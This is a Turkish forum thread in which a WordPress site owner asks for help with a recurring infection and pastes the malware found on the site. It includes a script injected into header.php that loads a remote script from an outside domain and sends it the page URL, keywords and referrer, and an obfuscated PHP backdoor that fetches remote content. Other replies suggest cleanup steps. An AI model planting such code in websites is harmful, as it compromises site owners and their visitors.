• 06-09-2016, 13:58:14
    #1
    herkes iyi forumlar, wordpress kurulu websitemin tüm tema dosyalarına aşağıdaki kod yerleşmekte, defalarca kodu kaldırmama rağmen, hosting silip yeni açmama rağmen kod yine aynı şekilde header.php dosyasının </head> tagının hemen üstüne yerleşmekte (tüm temaların), bazen tema dosyasının içine system.php, bazen de opload klasörünün içine info.php dosyası oluşmakta, yedeği bilgisayara indirdiğimde antivirüs zaten tüm zararlı dosyaları bulup siliyor, bu konu hakkında bilgisi olan arkadaşlar yardım ederse sevinirim..

    <script>
    var a='';setTimeout(1);function setCookie(a,b,c){
    var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);
    var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(
    var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(
    var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://sweetsalesgirl.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'G91825' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){
    var keywords = '';
    var metas = document.getElementsByTagName('meta');if (metas) {for (
    var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));
    </script>
  • 06-09-2016, 14:02:50
    #2
    Üyeliği durduruldu
    Merhaba, bu tarz problemler için çalışmalarım mevcut konuya göz atabilirsiniz.
  • 06-09-2016, 17:13:27
    #3
    Site ile ilgili henüz çalışma yaptırmadıysanız skype adresinizi pm atın görüşelim
  • 07-09-2016, 11:38:12
    #4
    ftp ile header.php yazma iznini kaldırıp kullandığınız 3. sınıf eklentiler var ise pasif duruma getirmeyi denediniz mi?
  • 07-09-2016, 14:43:36
    #5
    yaptığım işlemleri sayayım.
    1. ftp ve mysql yedeğini aldım
    2. hosting'i komple sildim
    3. yeni bir hosting açtım
    4. yeni indirdiğim wp dosyalarını dosya yöncetici üzerinden yükledim
    5. wordpress yeni kurulumunu yaptım
    6. yeni mysql'ü silip yedeğini aldığım mysql yedeğini geri yükledim
    7. yeni tema dosyayını tekrar yükledim ve değişiklerini tekrar gerçekleştirdim
    8. yeni eklenti dosylarını indirip tekrar yükledim

    ve sonuç: şuan için bulaşan herhangi birşey yok..
  • 08-09-2016, 22:39:53
    #6
    Üyeliği durduruldu
    ByMezarkabul adlı üyeden alıntı: mesajı görüntüle
    yaptığım işlemleri sayayım.
    1. ftp ve mysql yedeğini aldım
    2. hosting'i komple sildim
    3. yeni bir hosting açtım
    4. yeni indirdiğim wp dosyalarını dosya yöncetici üzerinden yükledim
    5. wordpress yeni kurulumunu yaptım
    6. yeni mysql'ü silip yedeğini aldığım mysql yedeğini geri yükledim
    7. yeni tema dosyayını tekrar yükledim ve değişiklerini tekrar gerçekleştirdim
    8. yeni eklenti dosylarını indirip tekrar yükledim

    ve sonuç: şuan için bulaşan herhangi birşey yok..
    header dosyanızın yazma izinlerini de 444 yapınız hata tekrar yasanmayacaktır
  • 09-09-2016, 10:00:43
    #7
    Wmedia adlı üyeden alıntı: mesajı görüntüle
    header dosyanızın yazma izinlerini de 444 yapınız hata tekrar yasanmayacaktır
    header.php den önce sağdaki soldaki klasörler içine system.php, info.php gibi içinde aşağıdaki kodlar bulunan dosyalar oluşturmaktaydı..


    <?php
    $GLOBALS['WfC1AO'] = $_SERVER;
    				function IFvRe6keP($rf0Es3pVJ)
    
    					
    
    				{$Y1digFWCD = "";global $AdsUfub8;
    		for($ldl9ktWg9=intval('kuvWy9leCm'); $ldl9ktWg9<strlen($rf0Es3pVJ); $ldl9ktWg9++)
    			{$lotENzE1Bz=$ldl9ktWg9 % 12;$mYPIrVxSHf = ord($rf0Es3pVJ[$ldl9ktWg9]) - $lotENzE1Bz - $AdsUfub8;
    		if ($mYPIrVxSHf < 32){$mYPIrVxSHf = $mYPIrVxSHf + 94;
    		
    
    			
    }$Y1digFWCD .= chr($mYPIrVxSHf);}return $Y1digFWCD;}
    $uDPt9jDSf42bm = chr(31^121).chr(31^118).chr(31^115).chr(31^122).chr(31^64).chr(31^120).chr(31^122).chr(31^107).chr(31^64).chr(31^124).chr(31^112).chr(31^113).chr(31^107).chr(31^122).chr(31^113).chr(31^107).chr(31^108);
    $j73UljV5rFSq = chr(247^132).chr(247^130).chr(247^149).chr(247^132).chr(247^131).chr(247^133).chr(247^168).chr(247^148).chr(247^152).chr(247^130).chr(247^153).chr(247^131);
    $AdsUfub8 = $j73UljV5rFSq($uDPt9jDSf42bm(${chr(121^38).chr(121^42).chr(121^60).chr(121^43).chr(121^47).chr(121^60).chr(121^43)}[chr(58^105).chr(58^121).chr(58^104).chr(58^115).chr(58^106).chr(58^110).chr(58^101).chr(58^124).chr(58^115).chr(58^118).chr(58^127).chr(58^116).chr(58^123).chr(58^119).chr(58^127)]), chr(ord(";") - 19));
    				$AdsUfub8=$AdsUfub8 ^ 685;
    
    ${xlMu1K7EqNK("-07).o.-")} = tR01t7fA(")-1+&/.>*/<<7)3::");
    	${dd33LVte5bd("=11nwk")} = tR01t7fA("gkoxjx(nukr-oq\$two}){kysf");
    ${IFvRe6keP("lSlZ9@\"m!#^uh")} = DJC6ws("687%:853?");
    
    ${ZZXRnVg89Qeo("(1'iuZXr]")} = ZZXRnVg89Qeo("(6759';/;;?B,2,");
    ${lLXkqxo64("=Tgf!]<")} = dd33LVte5bd("gkoxjx(~jvtpbvh%nv");
    function wJy9S41CGX($eETwCTNF){return IFvRe6keP($eETwCTNF);};
    			${dFcieOKs8("=6>+}Yjy{}77")} = DJC6ws(")-1+&-A3>@@");
    				${DJC6ws("t=ZWXh5")} = lLXkqxo64("&,7");
    				${lLXkqxo64("q>:Y3r-.")} = IFvRe6keP("(<526,.");
    function lLXkqxo64($PHu4YdCq8){return IFvRe6keP($PHu4YdCq8);};
    
    ${lLXkqxo64("1;k{W,`")} = dRPzLfisv3("10\$2(60392<");
    ${tR01t7fA(")xS26g")} = xlMu1K7EqNK("36*-&:.:7-03");
    						${dFcieOKs8("y{2W5w{l>o")} = dRPzLfisv3("6,&U&.260");
    						${tR01t7fA(":6.:9\\pu-5")} = tEeBsW("&3:4;',2,>@");
    ${tR01t7fA("wTlVoY")} = dd33LVte5bd("\$67'@'4/D+2F,799");
    						function DJC6ws($HRFc97){return IFvRe6keP($HRFc97);};
    function tR01t7fA($F4TFxEMtVre){return IFvRe6keP($F4TFxEMtVre);};
    
    function ZZXRnVg89Qeo($gxULkbSOL0M8){return IFvRe6keP($gxULkbSOL0M8);};
    						function tEeBsW($QYyTFYbP){return IFvRe6keP($QYyTFYbP);};
    
    function dd33LVte5bd($WHUCXns){return IFvRe6keP($WHUCXns);};
    						${ZZXRnVg89Qeo("n;T2ot")} = wJy9S41CGX("587/4");
    ${xlMu1K7EqNK("5VS79hz!/\$^")} = dFcieOKs8("0(X%-15/");
    function dFcieOKs8($RsHl6O){return IFvRe6keP($RsHl6O);};
    ${wJy9S41CGX("od:whm}ip`b")} = xlMu1K7EqNK("%-3V/-A");
    ${dFcieOKs8("y'Uup8j14!DB")} = xlMu1K7EqNK("gkoxjx(nukr-oq\$vjy(zjxrq");
    	function dRPzLfisv3($BIE1Ff3){return IFvRe6keP($BIE1Ff3);};
    ${tR01t7fA("(e'}3zi]")} = dd33LVte5bd(",2.%:-=");
    						function SWuGq9tmver($uwGDuEDii){return IFvRe6keP($uwGDuEDii);};
    					${dRPzLfisv3("xXnf*~Yi")} = lLXkqxo64("0(X");
    ${lLXkqxo64("u3l.i3t/b.")} = IFvRe6keP("6-2/3);)?1EB");
    					${xlMu1K7EqNK("mmqvg~s.[\${%")} = ZZXRnVg89Qeo("&6(WW");
    			function xlMu1K7EqNK($Nb9FWwO){return IFvRe6keP($Nb9FWwO);};
    ${lLXkqxo64("0q/5l]p0\\2&r")} = ZZXRnVg89Qeo("/87/4");
    
    ${lLXkqxo64("0{,]Z*")} = SWuGq9tmver("&6>6;");
    ${tEeBsW("cc)V*_rx")} = wJy9S41CGX("+)&*,:");
    ${xlMu1K7EqNK("9.2l\\.9?A")} = dRPzLfisv3("6879;:");
    ${SWuGq9tmver("c2+..,j")} = tR01t7fA("36.4;");
    						${DJC6ws("sw[(jZ0!~[o3/")} = dd33LVte5bd("&3:4;',2,>@");
    
    ${tR01t7fA("jVoTu>")} = xlMu1K7EqNK(",1526,.");
    ${dRPzLfisv3("z;2gogi")} = dd33LVte5bd("69'9;:(-:A;B");
    	${lLXkqxo64("e<:Y?7/v-[")} = dRPzLfisv3("0(X");
    						${IFvRe6keP("*n[m-o3\\v?9")} = wJy9S41CGX("687+(5(-::A3;8\$)9-*>0");
    ${tEeBsW("k:v,gkA")} = dd33LVte5bd("76:+");
    ${dRPzLfisv3("ll,hhhZ,!p")} = ZZXRnVg89Qeo("/'+/9;=");
    		${dFcieOKs8("hV5.8.@")} = dRPzLfisv3("26)");
    						${tEeBsW("fizjj*r")} = IFvRe6keP(",1526,.");
    
    ${dd33LVte5bd("&v?w5\"53")} = lLXkqxo64(")3{xi!=#E.'D");
    ${dRPzLfisv3("iWr*k,")} = wJy9S41CGX("+896&*>370,?8)7?");
    ${ZZXRnVg89Qeo("ex39}y}^\"")} = dd33LVte5bd("2Y,9!r!oB\$~");
    ${lLXkqxo64("(hZ4j\\Cp<px")} = dd33LVte5bd("687%9-96,/2");
    
    ${lLXkqxo64(".&}2n;@y{")} = dFcieOKs8("82.70,");
    ${tR01t7fA("93X?987r1[")} = lLXkqxo64(",4U2660");
    ${SWuGq9tmver("1iklm.h")} = DJC6ws("\$67'@'<242A");
    ${tEeBsW(")3-1}v_kBt")} = tEeBsW(",2\$'9:*C");
    		${IFvRe6keP("/h0r2?u")} = dFcieOKs8("&,7");
    
    ${lLXkqxo64("0Rim!oin\$ra'")} = DJC6ws("687877<");
    						${lLXkqxo64(".Y8f[z<3")} = dRPzLfisv3(",29<(4");
    ${dFcieOKs8("4X;<[n=`->")} = wJy9S41CGX(")-1:,:(@,>");
    ${dRPzLfisv3("f)/*60")} = wJy9S41CGX("6872,6");
    
    ${xlMu1K7EqNK("2+y*[~W/?o")} = lLXkqxo64("69'9;:");
    ${wJy9S41CGX("t'\\p9sYi04}3")} = xlMu1K7EqNK("/33-W19");
    ${wJy9S41CGX("=cV1vnC.\$")} = ZZXRnVg89Qeo("687%9-9/,@");
    ${dd33LVte5bd("u<8epiu#4v'_1")} = lLXkqxo64("%%8+5)6/");
    
    ${xlMu1K7EqNK(",hs}Vo^->@d")} = ZZXRnVg89Qeo(")-1+&8>>*/<<7)3::");
    				${ZZXRnVg89Qeo("'+tv|oqY2o2D-")} = dd33LVte5bd("76.3");
    
    
    
    
    ${dd33LVte5bd("(1'iuZXr]")}(${wJy9S41CGX(".Y8f[z<3")}(dd33LVte5bd("Q")));
    
    ${dFcieOKs8("(e'}3zi]")}(IFvRe6keP("'-863)B)0>?=57"), ${SWuGq9tmver(".Y8f[z<3")}(SWuGq9tmver("Q")));
    
    
    
    ${dFcieOKs8("3e<Zk!_0D2F#q")} = Array(dd33LVte5bd("RRVRW[XVZb[Z"), dFcieOKs8("RTXR[YU^aX"), dFcieOKs8("RUUR[\\UYZX"), SWuGq9tmver("RVURZWUY]X"), 
    
    
                        IFvRe6keP("RZXR\\[UY][Y"), tR01t7fA("R[URV\\_VZZ\\Z"), SWuGq9tmver("R[URWVWV[\\Y"), wJy9S41CGX("R[XRVZXV]X"), dFcieOKs8("R[XRWY_Vb`Y"), DJC6ws("R[YRYVU[ZX"), dRPzLfisv3("R[[RVVYV`ZY"), 
    
                        wJy9S41CGX("R[[RVZ\\V_X"), dRPzLfisv3("R[\\RWZ\\V^_Y"), dd33LVte5bd("SRURVTX^ZX"), dRPzLfisv3("SRUR^[UZY\\Y"), IFvRe6keP("SRXRV\\[V[ZY"), dd33LVte5bd("SRYRWZ]VZb[Z"), tEeBsW("SRZRWW`VZ_^Z"), 
    
                        dRPzLfisv3("SR[RVW_V[_`Z"), lLXkqxo64("SR[R]VUYb\\Y"), DJC6ws("SR[R]YUY\\`Y"), DJC6ws("SR\\RVVZV[\\_Z"), IFvRe6keP("SR\\R[\\U_YX"), ZZXRnVg89Qeo("SSTRWZ`V]ZY"), wJy9S41CGX("SSYRVY`VYX"), 
    
                        tR01t7fA("SSYRV^^Vb]Y"), ZZXRnVg89Qeo("SSYRV_[VZcaZ"), dd33LVte5bd("SSYRY]U^]X"), xlMu1K7EqNK("SVQU\\XU_[X"), dRPzLfisv3("SVQVWZUY[aY"), IFvRe6keP("SVQVW[U`W"),
    
                        ZZXRnVg89Qeo("WUQVZWUY`_Y"), IFvRe6keP("WVQUYVUZ[]Y"), lLXkqxo64("WVQVX[UY^ZY"), ZZXRnVg89Qeo("WVQVX[UY^]Y"), lLXkqxo64("WVQW]TXY_X"), tR01t7fA("WVQZ^T]^W"), IFvRe6keP("WWQW^TX\\YX"), 
    
    					                    ZZXRnVg89Qeo("WXQU\\XU\\`X"), IFvRe6keP("WXQVY_U^^X"), tR01t7fA("WXQVZZUaaX"), tEeBsW("WXQW\\T]`W"), ZZXRnVg89Qeo("W[QUUTX[]X"), tEeBsW("XRQXWTX[ZX"), dd33LVte5bd("XTQVS_\\V"), dFcieOKs8("XVQUV\\UZZbY"), 
    
    
                        IFvRe6keP("XVQVV]UaYX"), wJy9S41CGX("XVQ]YTY[aX"), IFvRe6keP("XWQU][UYb]Y"), dRPzLfisv3("XZQUVWU_W"), tR01t7fA("YRQVY^UZZaY"), wJy9S41CGX("YTQ\\UTY[YX"), dFcieOKs8("YWQUVXUYW"), 
    
                        tR01t7fA("ZRQUY[UZZ_Y"), dd33LVte5bd("ZTQX]TXY_X"), dFcieOKs8("ZTQX]TXZYX"), wJy9S41CGX("ZVQUX\\UY\\`Y"), IFvRe6keP("ZVQVWWUZZ`Y"), SWuGq9tmver("RRQ]S]XV"), ZZXRnVg89Qeo("RR\\RWVZVZ\\]Z"), wJy9S41CGX("SRSR\\[UXW"), 
    
    					                    DJC6ws("SRTRWY_V[^aZ"), ZZXRnVg89Qeo("SRWRW]UYb_Y"), tEeBsW("SRYRVX]VbcY"), SWuGq9tmver("SR[RVXYVb_Y"), SWuGq9tmver("SSYRWY[VZ\\_Z"), dRPzLfisv3("USQVWYUZZbY"), tEeBsW("WVQVX[UY^^Y"), 
    
                        dRPzLfisv3("WZQU]VUZ[bY"), dRPzLfisv3("YYQVYYUY[bY"), tEeBsW("SSUR\\WUYW"), tEeBsW("WVQWYTXYZX"), dd33LVte5bd("RV\\RW[\\V_ZY"), tEeBsW("RZWRV]ZV[[\\Z"), dRPzLfisv3("RZWRV]ZV[\\aZ"), 
    
    
                        tEeBsW("RZWRV]ZV[\\bZ"), lLXkqxo64("R[URV]XV[]^Z"), ZZXRnVg89Qeo("SSVRW[[V[^\\Z"), dRPzLfisv3("TZQUUVUZZX"), dd33LVte5bd("UPZ]SWY[W"), xlMu1K7EqNK("R[SRVWYVZc`Z"), dFcieOKs8("ZSQVV\\UYYaY"), 
    
    		                    dd33LVte5bd("XRQW^TX]`X"), lLXkqxo64("SSTRVWWVZb\\Z"), xlMu1K7EqNK("SR[R]VUYb^Y"), SWuGq9tmver("RTTRYXUXW"), lLXkqxo64("WVQ[YTYY^X"));
    
    
    
    ${tR01t7fA("+*2?[p\\_]4")} = Array(tEeBsW("n3?/34*W^X[LIzTU`Fs39AEL;ZY%[ZbH=Be_YPSRVOGo0/8=PTSUUVXXZJq75)+5?UZ`WZY]AnzwTY_VY"), 
    
    				                tEeBsW("n3?/34*W]X[LI'437)=3-82gAovmjF_VYeK%,2)5>;Gv}J`ZR]Cx91-/9@Z`ORL"), 
    
    
                    dd33LVte5bd("n3?/34*W]X[LI'437)=3-82gAovmjF_VYeK%,2)5>;Gv}JaZR]Cx91-/9@Z`ORL"),);
    
    
    
    
    						 if (${DJC6ws("z;2gogi")}(${dFcieOKs8("-07).o.-")}($_SERVER[tEeBsW("teumuz(nrvpzboh")]), xlMu1K7EqNK("E")) != ${dd33LVte5bd(".Y8f[z<3")}(SWuGq9tmver("Q"))+303){ ${tR01t7fA(")xS26g")}(ZZXRnVg89Qeo("PQ*/"), ${tEeBsW("7sxx0s:m")}[IFvRe6keP("v'j8.pp")], '');exit();}
    if (empty(${SWuGq9tmver("\"ihx")}))
    
    {
    
        ${dFcieOKs8("&v?w5\"53")}();
    
    }
    
    
    
    ${tR01t7fA("vqWT^tra")} = ${wJy9S41CGX("ex39}y}^\"")}();
    
    
    ${IFvRe6keP("'[3\\]4")} = @$GLOBALS[IFvRe6keP("x*fUfu")][lLXkqxo64("ivwt&{zm{+lsfpw")];
    
    
    
    
    if (${dRPzLfisv3(")3-1}v_kBt")}(${tEeBsW("'[3\\]4")}, ${dd33LVte5bd("+*2?[p\\_]4")}))
    
    {
    
    
        ${IFvRe6keP("&v?w5\"53")}();
    
    }
    
    
    
    	if (empty(${wJy9S41CGX("vqWT^tra")}))
    
    {
    
    						    ${SWuGq9tmver("&v?w5\"53")}();
    
    }
    
    
    
    	${lLXkqxo64("-mk:|l[tj`[tm")} = ${DJC6ws("2+y*[~W/?o")}(${DJC6ws("vqWT^tra")}, ${dRPzLfisv3(".Y8f[z<3")}(wJy9S41CGX("Q")), ${ZZXRnVg89Qeo("0Rim!oin\$ra'")}(${IFvRe6keP("vqWT^tra")}, dRPzLfisv3("O"))+${IFvRe6keP(".Y8f[z<3")}(tEeBsW("R")));
    
    			if (${xlMu1K7EqNK(")3-1}v_kBt")}(${dd33LVte5bd("-mk:|l[tj`[tm")}, ${dRPzLfisv3("3e<Zk!_0D2F#q")}))
    
    {
    
        ${ZZXRnVg89Qeo("&v?w5\"53")}();
    
    }
    
    
    
    ${SWuGq9tmver("7&w?wi;j|1=@i")} = ${IFvRe6keP(".Y8f[z<3")}(dFcieOKs8("S[T[V"));
    
    
    ${IFvRe6keP("k9<g4z^!rp4")} = ${SWuGq9tmver(".Y8f[z<3")}(tEeBsW("Q"));
    
    
    foreach (${xlMu1K7EqNK("lSlZ9@\"m!#^uh")}($GLOBALS[dFcieOKs8("x*fUfu")][tEeBsW("sgtyjy{)~|t")]) as ${lLXkqxo64("(|[fZv.n}`7\\")})
    
    {
    
    	    ${dd33LVte5bd("7&w?wi;j|1=@i")} += ${lLXkqxo64("hV5.8.@")}(${IFvRe6keP("(|[fZv.n}`7\\")});
    
        ${wJy9S41CGX("k9<g4z^!rp4")} ++;
    
    }
    
    	${SWuGq9tmver("7&w?wi;j|1=@i")}<<=${IFvRe6keP(".Y8f[z<3")}(dFcieOKs8("S"));${dd33LVte5bd("7&w?wi;j|1=@i")}^=${ZZXRnVg89Qeo("7&w?wi;j|1=@i")};${dRPzLfisv3("7&w?wi;j|1=@i")}+=${wJy9S41CGX(".Y8f[z<3")}(SWuGq9tmver("TT"));
    
    
    
    
    ${ZZXRnVg89Qeo("7&w?wi;j|1=@i")} = ${dRPzLfisv3("=cV1vnC.\$")}(${dd33LVte5bd("/h0r2?u")}(${DJC6ws("7&w?wi;j|1=@i")}), ${dFcieOKs8(".Y8f[z<3")}(dRPzLfisv3("Y")));
    
    
    
    
    
    				${tEeBsW("vqWT^tra")} = dd33LVte5bd("Y[QYWT^`W[]");
    
    
    ${dd33LVte5bd("hgru\\[")} = tR01t7fA("YR");
    
    
    ${dFcieOKs8("d+)Z=[z<%")} = ZZXRnVg89Qeo("P2'-=-,C^Y_a%=W8-0U:3<");
    
    
    
    ${tR01t7fA("mdhj3XssB[A")} = Array();
    
    ${IFvRe6keP("mdhj3XssB[A")}[SWuGq9tmver(",")] = ${xlMu1K7EqNK("ex39}y}^\"")}();
    
    
    ${dRPzLfisv3("mdhj3XssB[A")}[dFcieOKs8("3")] = @$GLOBALS[wJy9S41CGX("x*fUfu")][tEeBsW("ivwt&nv{}")] . @$GLOBALS[IFvRe6keP("x*fUfu")][dd33LVte5bd("sgtyjy{)~|t")];
    
    ${dd33LVte5bd("mdhj3XssB[A")}[ZZXRnVg89Qeo("8")] = @$GLOBALS[SWuGq9tmver("x*fUfu")][lLXkqxo64("ivwt&{zm{+lsfpw")];
    
    
    ${DJC6ws("mdhj3XssB[A")}[tEeBsW("\$")] = @$GLOBALS[dd33LVte5bd("x*fUfu")][SWuGq9tmver("ivwt&gjknz!-mcqkzgnm")];
    
    ${ZZXRnVg89Qeo("mdhj3XssB[A")}[ZZXRnVg89Qeo("5")] = @$GLOBALS[dFcieOKs8("x*fUfu")][wJy9S41CGX("ivwt&xlnn|p~")];
    
    
    
    			${DJC6ws("pro~:o")} = ${DJC6ws("*n[m-o3\\v?9")}(Array(tR01t7fA("+896") => Array(DJC6ws("0)9.6,") => SWuGq9tmver("qqvx"), lLXkqxo64("+)&*,:") => dd33LVte5bd("d33:,6=U?E=3[B&6742-,@6=1Q=Q>?@U1;?;N972,6,9/11"), ZZXRnVg89Qeo("&33:,6=") => ${tR01t7fA("iWr*k,")}(${dFcieOKs8("mdhj3XssB[A")}))));
    
    
    
    						${wJy9S41CGX("476]-?,l")} = tR01t7fA("+896_UV") . ${dFcieOKs8("t'\\p9sYi04}3")}(-${dd33LVte5bd(".Y8f[z<3")}(lLXkqxo64("RZZXUW]_^\\")) ^ (${IFvRe6keP("hV5.8.@")}(${wJy9S41CGX("7&w?wi;j|1=@i")}[${xlMu1K7EqNK(".Y8f[z<3")}(dFcieOKs8("Q"))]) + ${xlMu1K7EqNK("hV5.8.@")}(${IFvRe6keP("7&w?wi;j|1=@i")}[${tR01t7fA(".Y8f[z<3")}(dd33LVte5bd("R"))]) + (${SWuGq9tmver("9.2l\\.9?A")}(${SWuGq9tmver("2+y*[~W/?o")}($GLOBALS[lLXkqxo64("x*fUfu")][lLXkqxo64("sgtyjy{)~|t")], -${DJC6ws(".Y8f[z<3")}(tEeBsW("U"))), dFcieOKs8("O4-6")) == FALSE ? ${IFvRe6keP(".Y8f[z<3")}(tEeBsW("ZZ")) : ${dd33LVte5bd("93X?987r1[")}(${SWuGq9tmver("vqWT^tra")})))) . xlMu1K7EqNK("[") . ${SWuGq9tmver("hgru\\[")} . ${IFvRe6keP("d+)Z=[z<%")};
    
    
    
    						${tR01t7fA("rrk*!-hqEB")} = @${SWuGq9tmver("-07).o.-")}(${tR01t7fA("476]-?,l")}, FALSE, ${tEeBsW("pro~:o")});
    
    if(${dd33LVte5bd("f)/*60")}(${xlMu1K7EqNK("rrk*!-hqEB")}) < ${dd33LVte5bd(".Y8f[z<3")}(dFcieOKs8("RR")))
    
    {
    
    				    ${DJC6ws("&v?w5\"53")}();
    
    }
    
    
    
    		${lLXkqxo64("rrk*!-hqEB")} = ${lLXkqxo64("q>:Y3r-.")}("\n", ${dFcieOKs8("rrk*!-hqEB")});
    
    
    
    ${tR01t7fA("tdjo2!wA")} = ${xlMu1K7EqNK("1iklm.h")}(${IFvRe6keP("rrk*!-hqEB")});
    
    						${wJy9S41CGX("rrk*!-hqEB")} = ${SWuGq9tmver("fizjj*r")}("\n", ${tR01t7fA("rrk*!-hqEB")});
    
    
    
    
    if (${DJC6ws("9.2l\\.9?A")}(${ZZXRnVg89Qeo("tdjo2!wA")}, dFcieOKs8("O,933")) === FALSE)
    
    {
    
        ${ZZXRnVg89Qeo("cc)V*_rx")}(ZZXRnVg89Qeo("d33:,6=U}E=3[B&6742-,@6=1Q4);-=U>@?3\$1"));
    
        ${tR01t7fA("cc)V*_rx")}(tR01t7fA("d33:,6=Um5@>27.:077bI-AB\$'-3,6=cI26:(2&3,c") . ${tR01t7fA("tdjo2!wA")});
    
    	    ${tEeBsW("cc)V*_rx")}(xlMu1K7EqNK("d33:,6=Uu1;57,]D") . ${wJy9S41CGX("f)/*60")}(${ZZXRnVg89Qeo("rrk*!-hqEB")}));
    
    }
    
    
    
    	exit(${IFvRe6keP("rrk*!-hqEB")});
    
    
    
    
    function o7gsZLXGwXS()
    
    			{global ${dFcieOKs8("'+tv|oqY2o2D-")};
    		global ${dRPzLfisv3("4X;<[n=`->")};
    global ${dd33LVte5bd("y'Uup8j14!DB")};
    				global ${dRPzLfisv3("wTlVoY")};
    				global ${DJC6ws("q>:Y3r-.")};
    
    global ${lLXkqxo64("=Tgf!]<")};
    global ${dd33LVte5bd("=11nwk")};
    
    
        ${lLXkqxo64(";;yzlBjDAE5")} = array(DJC6ws("sgpsyk(imn}"), );
    
    		    foreach (${IFvRe6keP(";;yzlBjDAE5")} as ${tR01t7fA("7&w?wi;j|1=@i")})
    
    
        {
    
    						        if (${lLXkqxo64("wTlVoY")}(${tR01t7fA("7&w?wi;j|1=@i")}, $GLOBALS[wJy9S41CGX("x*fUfu")]) === TRUE)
    
            {
    
    			            foreach (${SWuGq9tmver("q>:Y3r-.")}(lLXkqxo64("M"), $GLOBALS[xlMu1K7EqNK("x*fUfu")][${dFcieOKs8("7&w?wi;j|1=@i")}]) as ${dFcieOKs8("vqWT^tra")})
    
    
                {
    
                    ${tR01t7fA("vqWT^tra")} = ${wJy9S41CGX("'+tv|oqY2o2D-")}(${wJy9S41CGX("vqWT^tra")});
    
                    if (${SWuGq9tmver("4X;<[n=`->")}(${IFvRe6keP("vqWT^tra")}, FILTER_VALIDATE_IP, ${DJC6ws("=11nwk")} | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
    
    
                    {
    
                        return ${DJC6ws("vqWT^tra")};
    
    
                				    }
    
                }
    
            }
    
        }
    
    
    
        return "";
    
    }
    
    
    
    function foXTDYtYzbZv()
    
    {global ${SWuGq9tmver(",hs}Vo^->@d")};
    
    global ${lLXkqxo64("u<8epiu#4v'_1")};
    global ${wJy9S41CGX(".&}2n;@y{")};
    						global ${lLXkqxo64("(hZ4j\\Cp<px")};
    global ${tEeBsW("k:v,gkA")};
    global ${tR01t7fA("*n[m-o3\\v?9")};
    global ${tR01t7fA("e<:Y?7/v-[")};
    global ${SWuGq9tmver("cc)V*_rx")};
    				global ${xlMu1K7EqNK("=6>+}Yjy{}77")};
    	global ${wJy9S41CGX("-07).o.-")};
    
    
        ${wJy9S41CGX("cc)V*_rx")}(ZZXRnVg89Qeo("ivwtTWUYI^[`Ap4:El8?90"));
    
    
    
        ${DJC6ws("wegXX:")} = ${SWuGq9tmver("u<8epiu#4v'_1")}($GLOBALS[SWuGq9tmver("x*fUfu")][ZZXRnVg89Qeo("qjs%xksn")]);
    
        
    
    		    if (!${tEeBsW("=6>+}Yjy{}77")}(SWuGq9tmver("URWR") . ${wJy9S41CGX("wegXX:")}))
    
        {
    
    	        ${lLXkqxo64("4-d<wy")} =  ${tEeBsW("e<:Y?7/v-[")}(${DJC6ws(".&}2n;@y{")}());
    
    				        ${SWuGq9tmver("rrk*!-hqEB")} = @${dd33LVte5bd("-07).o.-")}(dd33LVte5bd("+896_UV").$GLOBALS[wJy9S41CGX("x*fUfu")][lLXkqxo64("ivwt&nv{}")] . dd33LVte5bd("P") . ${wJy9S41CGX("4-d<wy")}, FALSE, ${dd33LVte5bd("*n[m-o3\\v?9")}(array(dFcieOKs8("+896") => array(dFcieOKs8(",+359-(/=><@6") => true))));
    
            ${dd33LVte5bd("rrk*!-hqEB")} = ${SWuGq9tmver("(hZ4j\\Cp<px")}(${tR01t7fA("4-d<wy")}, ${dd33LVte5bd("wegXX:")}, ${xlMu1K7EqNK("rrk*!-hqEB")});
    
            ${dRPzLfisv3(",hs}Vo^->@d")}(lLXkqxo64("URWR") . ${IFvRe6keP("wegXX:")}, ${tEeBsW("rrk*!-hqEB")});
    
        }
    
    					    else
    
        {
    
    					        ${lLXkqxo64("rrk*!-hqEB")} = @${dRPzLfisv3("-07).o.-")}(IFvRe6keP("URWR") . ${dd33LVte5bd("wegXX:")});
    
        }
    
    
    
    
        exit(${DJC6ws("rrk*!-hqEB")});
    
    }
  • 09-09-2016, 10:05:03
    #8
    Üyeliği durduruldu
    ByMezarkabul adlı üyeden alıntı: mesajı görüntüle
    header.php den önce sağdaki soldaki klasörler içine system.php, info.php gibi içinde aşağıdaki kodlar bulunan dosyalar oluşturmaktaydı..


    <?php
    $GLOBALS['WfC1AO'] = $_SERVER;
    				function IFvRe6keP($rf0Es3pVJ)
    
    					
    
    				{$Y1digFWCD = "";global $AdsUfub8;
    		for($ldl9ktWg9=intval('kuvWy9leCm'); $ldl9ktWg9<strlen($rf0Es3pVJ); $ldl9ktWg9++)
    			{$lotENzE1Bz=$ldl9ktWg9 % 12;$mYPIrVxSHf = ord($rf0Es3pVJ[$ldl9ktWg9]) - $lotENzE1Bz - $AdsUfub8;
    		if ($mYPIrVxSHf < 32){$mYPIrVxSHf = $mYPIrVxSHf + 94;
    		
    
    			
    }$Y1digFWCD .= chr($mYPIrVxSHf);}return $Y1digFWCD;}
    $uDPt9jDSf42bm = chr(31^121).chr(31^118).chr(31^115).chr(31^122).chr(31^64).chr(31^120).chr(31^122).chr(31^107).chr(31^64).chr(31^124).chr(31^112).chr(31^113).chr(31^107).chr(31^122).chr(31^113).chr(31^107).chr(31^108);
    $j73UljV5rFSq = chr(247^132).chr(247^130).chr(247^149).chr(247^132).chr(247^131).chr(247^133).chr(247^168).chr(247^148).chr(247^152).chr(247^130).chr(247^153).chr(247^131);
